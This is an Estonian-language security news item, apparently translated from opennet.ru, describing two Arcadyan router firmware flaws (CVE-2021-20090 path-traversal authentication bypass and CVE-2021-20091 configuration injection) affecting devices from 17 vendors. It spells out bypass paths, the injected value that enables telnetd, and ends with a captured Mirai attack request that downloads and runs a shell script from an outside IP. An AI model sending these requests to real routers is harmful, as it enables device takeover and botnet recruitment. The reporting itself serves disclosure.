Haavatavus koduste ruuteriidses, mis hõlmab 17 tootjat

Võrgus on fikseeritud massiline rünnak koduste ruuterite vastu, mille tarkvaraversioonides kasutatakse Arcadyani http-serveri teostust. Seadmise üle juhtimise saamiseks kasutatakse kahte haavatavust, mis võimaldavad eemalt käitada mis tahes koodi root'i õigustes. Probleem mõjutab mitmeid ADSL-ruutereid ettevõtetelt Arcadyan, ASUS ja Buffalo, samuti seadmeid, mis on tarnitud brändide Beeline (probleem kinnitatud Smart Box Flash'is), Deutsche Telekom, Orange, O2, Telus, Verizon, Vodafone ja teiste sideettevõtete poolt. Märgitakse, et probleem on Arcadyani tarkvaraversioonides olnud juba rohkem kui 10 aastat ja selle aja jooksul on see jõudnud vähemalt 20 seadme mudelisse 17 erinevalt tootjalt.

Esimene haavatavus CVE-2021-20090 võimaldab pääseda igale veebiliidese skriptile autentimiseta. Probleem seisneb selles, et veebiliideses on teatud kataloogid, mille kaudu jagatakse pilte, CSS-faile ja JavaScripti skripte, mis on kätte saadavad ilma autentimiseta. Samal ajal kontrollitakse katalooge, millele on lubatud ligi pääseda autentimiseta, algse mustri alusel. Teedesse «..\/» märgi määramine vanemasse kataloogi liikumiseks on püsivusprogrammi poolt blokeeritud, kuid kombinatsiooni «..» kasutamine lubatakse. Seega on võimalik avada kaitstud lehti, kui saata päringuid nagu «http:\/\/192.168.1.1\/images\/..index.htm».

Teine haavatavus CVE-2021-20091 võimaldab autentitud kasutajal muuta seadme süsteemi seadistusi, saates spetsiaalselt vormistatud parameetreid skriptile apply_abstract.cgi, mis ei kontrolli parameetrites rea vahetuse sümboli olemasolu. Näiteks võib ründaja pingimise toimingu käigus määrata kontrollitava IP-aadressi väljale väärtuse «192.168.1.2ARC_SYS_TelnetdEnable=1» ja skript, luues faili seadistustega \/tmp\/${ server etc\/config\/ .glbcfg, kirjutab sinna rea «AARC_SYS_TelnetdEnable=1», mis aktiveerib telnetd, andes piiramatud õigused käsuviibide peale pääsemiseks. Samamoodi saab AARC_SYS parameetri seadistamisega täita süsteemis mis tahes koodi. Esimene haavatavus võimaldab käivitada probleemset skripti ilma autentimiseta, pöördudes selle poole nagu «\/images\/..apply_abstract.cgi».

Rünnakuks peab ründajal olema võimalus saata päring võrgupordile, kus töötab veebiliides. Rünnaku leviku dünaamikast nähtub, et paljud operaatorid jätavad oma seadmetele välisest võrgust juurdepääsu, et toetusteenus saaks probleeme lihtsamalt diagnoosida. Kui liidest on piiratud ainult sisevõrgu jaoks, võib rünnak toimuda välisest võrgust tehnika abil nimega "DNS rebinding". Haavatavusi kasutatakse juba aktiivselt, et ühendada ruuterid botnetiga Mirai: POST /images/..apply_abstract.cgi HTTP/1.1 Connection: close User-Agent: Dark action=start_ping&submit_button=ping.html& action_params=blink_time5&ARC_ping_ipaddress=212.192.241.7 ARC_SYS_TelnetdEnable=1& ARC_SYS_=cd+\/tmp; wget+http:\/\/212.192.241.72\/lolol.sh; curl+-O+http:\/\/212.192.241.72\/lolol.sh; chmod+777+lolol.sh; sh+lolol.sh&ARC_ping_status=0&TMP_Ping_Type=4

Allikas: opennet.ru